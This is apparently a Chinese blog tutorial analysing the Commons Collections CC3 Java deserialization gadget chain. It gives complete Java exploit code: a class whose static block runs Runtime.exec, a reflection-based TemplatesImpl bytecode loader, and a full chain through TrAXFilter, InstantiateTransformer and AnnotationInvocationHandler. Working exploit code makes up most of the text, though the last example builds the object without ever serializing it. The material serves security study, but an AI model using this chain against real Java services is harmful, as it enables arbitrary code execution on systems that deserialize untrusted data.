简介

继续来分析cc链了,相较于cc1,这条cc3链就是改变了最后的执行类。由之前的Runtime命令执行改变为动态类加载,能够任意代码执行,对于命令执行,代码执行应用更加广泛。这篇cc3的分析文章也是基于cc1分析文章的基础上编写。

CC3链分析

执行类

我们知道CC3链是任意类动态加载来代码执行的,而这个利用点就在defineClass方法中。

而这个方法主要做的事情就是由字节码数据加载为java对象,也就是类的加载。这个方法是由protected修饰,不能直接被包外的类调用。那么我们就逆向找哪个public修饰的方法调用了此处。在Templateslmpl类中的defineClass方法中调用了。

这也不是public,继续找。在本类的defineTransletClasses方法调用了。继续往上找,在该类的getTransletInstance方法中调用了。

我们知道,执行静态代码块需要满足两个条件,类加载与初始化。而这个方法中对_class初始化了,所以我们需要将链走到这里。这个还是私有的方法,继续往上找,看谁调用了它。

public方法有了。那么就从这个地方开始编写代码看能不能代码执行。

测试

在getTransletInstance方法中,需要满足_name不为空,_class不用,它默认为空。而走到defineTransletClasses方法中,_bytecodes不能为空。

而这里会遍历bytecodes数组进行类加载。而bytecodes是一个二维数组,所以这里我们需要传恶意类的字节码。

这里_tfactory属性不能为空,因为它需要调用某个类的函数。

而它是由transient修饰的,不能序列化,那怎么办?链子是不是走不通了。

不用慌,在readObject方法中对这个属性赋值了。所以在序列化操作中不用管这个属性了,而我们测试的时候需要给它赋值。

细节都处理完了,先编写恶意类。

package cc3.demo;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Testdemo extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

为什么这个恶意类要继承AbstractTranslet类?

这里我们需要让_transletIndex不能小于0,不然会抛出异常。所以需要走到if语句里面对它赋值。这个if判断说的就是被加载的类的父类是不是ABSTRACT_TRANSLET,再看这个属性是什么值。

那么一切都说的通了。将恶意类编译成class文件,编写执行类:

package cc3.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3test04 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

哦耶,成功弹出计算器。

调用链

我们知道执行代码的入口就是newTransformer方法,那么继续往上找,在TrAXFilter类的构造方法中调用了。

很不巧,这个类是不能序列化的,我们只能在它的构造方法中赋值调用。CC3链作者用到了InstantiateTransformer这个类。重点在于它的transform方法。

它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行。接下来找入口类,和cc1的相同,相较于cc1链,它就是把InvokerTransformer类替换成这个类了。而入口类还是AnnotationInvocationHandler,具体细节在cc1这篇文章写了,在这就不再赘述。所以整条链为:

package cc3.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test02 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
map.put("value","asd");
Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
//创建AnnotationInvocationHandler类
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class,transformedmap);
unserialize("web.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
System.out.println("2.反序列化成功");
}
}

日常弹计算器。

结语

到目前为止复现了三条典型的cc链,剩下的cc链就是经典类之间排列组合。之后不会在专门复现剩下的cc链,遇到的时候再看。反序列化之路任重而道远。